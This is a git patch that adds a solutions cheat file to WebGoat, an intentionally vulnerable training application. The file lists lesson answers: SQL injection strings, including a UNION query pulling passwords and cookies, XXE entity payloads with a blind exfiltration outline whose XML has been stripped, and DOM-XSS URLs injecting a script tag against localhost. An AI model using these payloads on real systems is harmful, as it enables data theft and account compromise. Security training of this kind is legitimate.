From 153dc57731a35cad9023dda62e85fc5d879f14b5 Mon Sep 17 00:00:00 2001 From: Jason White Date: Fri, 17 Feb 2017 16:18:57 -0500 Subject: [PATCH] Basic solutions cheat file for now --- webgoat-lessons/sol.txt | 88 +++++++++++++++++++++++++++++++++++++++++ 1 file changed, 88 insertions(+) create mode 100644 webgoat-lessons/sol.txt diff --git a/webgoat-lessons/sol.txt b/webgoat-lessons/sol.txt new file mode 100644 index 000000000..9b1c2c0aa --- /dev/null +++ b/webgoat-lessons/sol.txt @@ -0,0 +1,88 @@ +### SQLi ### +Basic +Smith - to show it returns smith's records +Smith' or '1'='1 - to show exploit; 1=1 can be any true clause + +[2:19 PM] +101 +101 or 1=1 + +Smith' union select userid,user_name, password,cookie,cookie, cookie,userid from user_system_data -- + +## XXE ## + +Simple - ]> &root;test + +Modern Rest Framework - change content type to: Content-Type: application/xml && + ]> &root;test + +Blind SendFile ... + + /** + * Solution: + * + * Create DTD: + * + *
+     *     
+     *     
+     *     ">
+     *      %all;
+     * 
+ * + * This will be reduced to: + * + *
+     *     
+     * 
+ * + * Wire it all up in the xml send to the server: + * + *
+     *  
+     *  
+     *  %remote;
+     *   ]>
+     *  
+     *    test&send;
+     *  
+     *
+     * 
+ * + */ + +###XSS ### + +4128 3214 0002 1999 + +DOM-XSS ... + +// something like ... http://localhost:8080/WebGoat/start.mvc#test/testParam=foobar&_someVar=234902384lotslsfjdOf9889080GarbageHere%3Cscript%3Ewebgoat.customjs.phoneHome();%3C%2Fscript%3E +// or http://localhost:8080/WebGoat/start.mvc#test/testParam=foobar&_someVar=234902384lotslsfjdOf9889080GarbageHere